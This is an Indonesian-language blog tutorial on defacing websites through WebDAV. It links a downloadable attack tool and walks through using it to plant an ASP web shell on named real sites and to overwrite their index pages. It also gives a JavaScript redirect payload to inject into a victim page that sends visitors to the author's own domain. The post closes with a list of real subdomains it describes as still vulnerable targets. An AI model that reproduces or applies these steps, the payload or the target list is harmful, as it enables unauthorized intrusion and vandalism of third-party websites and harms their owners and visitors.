Deface Web dengan webdav

Deface Web dengan webdav

Download dlu tool nya (webdav)
 http://www.4shared.com/file/psV_a5r4/webdav_hmei7.html

Step:
1. Buka tool webdav yang telah di download tadi, klik tab 'webdav' lalu pilih 'Asp shell maker'
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifYpwKhqdkTvn3ZLl4qqhYYGIMHJXssqlSqr0uOEMe5xtZoyHBF6Dfve-rmkn75tC58qVE9eoh2plKZIM1iifVi0T38QMPnhGu_fzVY5lq442hKVcY-r6vqmCBMQuXW9OXVkgKUFtt1E8B/s1600/hack+index+situs+dengan+webdav.png

2. Pada setting Name of Your Shell bisa diubah sesuka kamu , lalu klik add site lalu masukkan website target, misal target www.beijingcoal.com
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNDFmaAkavy-j84G436YcYji16lsZCWzigEXADZBpF283VBw1XVcxIhwu6V5cEmT9ZEht_7syAheA70kkg8d6dnzBLfOr3RQXhSGqB074Lcj-2s7TiN5j1xsHALBp0kr1HIvpHwL834YQ6/s1600/deface+index+website+dengan+webdav.png

3. Lalu klik serang!! jika muncul tulisan 'shell created' berarti kita sukses menanam shell ke situs tersebut, namun jika yang muncul 'Not Vulnerable Dav' berarti sobat harus mencari target yang lain karena target sobat tidak vuln terhadap webdav
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFqyzIq_-kkeciB4J2Ml5mN1TAgMdhcLMyYBhv6G_wza5AaFhs7DF5LSEwmawbtFbUp5oxxInw1yEtlGniPa5sD_b_4v-hSnJGgexsR_i55bajk3gMOOa57B9GXWoWf0VTLFfrvpOKAD8c/s1600/cara+deface+homepage+dengan+webdav.png

4. Sekarang kita check hasil shell yang telah tertanam tadi, perhatikan gambar pada step nomor 3 diatas, yang saya beri garis biru adalah letak shellnya, copy ke browser lalu buka link tersebut, contoh: http://fujian.longju.org.cn/Hmei7.asp;.txt

5. Setelah masuk ke directory web tersebut silahkan cari file yang kemungkinan adalah index dari web tersebut
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8JpiOUOuU2HChaIK1j0hIMWMvrNTcE5YSTIC_Z6I9n-gBOC7avZsJZtns0Bfl2xZCT0mOclKxgRLDBInFoF4VaSW0tHBlI6LN9ZoraiE6goejQJpKb5kMCnh0Oa5dwZUKEU6CubtOQVx1/s1600/cara+deface+index+dengan+webdav.png

6. Stelah ketemu file yang berisi index lalu klik pada icon pensil disampingnya untuk mengedit, hapus semua scriptnya lalu tukar dengan script deface kalian sob, kemudian klik kaydet untuk menyimpan
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjevlvN0rVUXDzc2XKd49GVtIAfajEwxgwvkO6t9NFlKWcLECQtqermqA3R2xdURgw_VNzXFzmmFbfLbkJ8q9damLWkCKSkwyLo1LjyBUZ3Hx0UcgSHy_fCNA7Vf_kC7DLTINMaVK8z4r3F/s1600/cara+deface+index+web+dengan+webdav.png

7. Selesai ,,
lihat hasilnya
http://fujian.longju.org.cn

homepage / index website tersebut berhasil di deface, jika sewaktu-waktu tampilan website tersebut telah kembali normal itu berarti adminnya telah memperbaiki website tersebut sob

klo mu dibikin redirect tinggal copas (di taruh tanpa menghapus file index asli)
<script>location.href='http://hacker-indramayu.tk/';</script>

----------------------------------------------------------------
http://hacker-indramayu.tk = web yang akan di tuju
 ----------------------------------------------------------------
Sasaran web yang masih vuln sekarang

http://fujian.longju.org.cn/
http://taier.longju.org.cn/
http://hangzhou.longju.org.cn/
http://wuhan.longju.org.cn/
http://guangdong.longju.org.cn/
http://xinjiang.longju.org.cn/
http://xuzhou.longju.org.cn/
http://zhengzhou.longju.org.cn/
http://wenzhou.longju.org.cn/
http://yunnan.longju.org.cn/

Berbagi ILMU Itu INDAH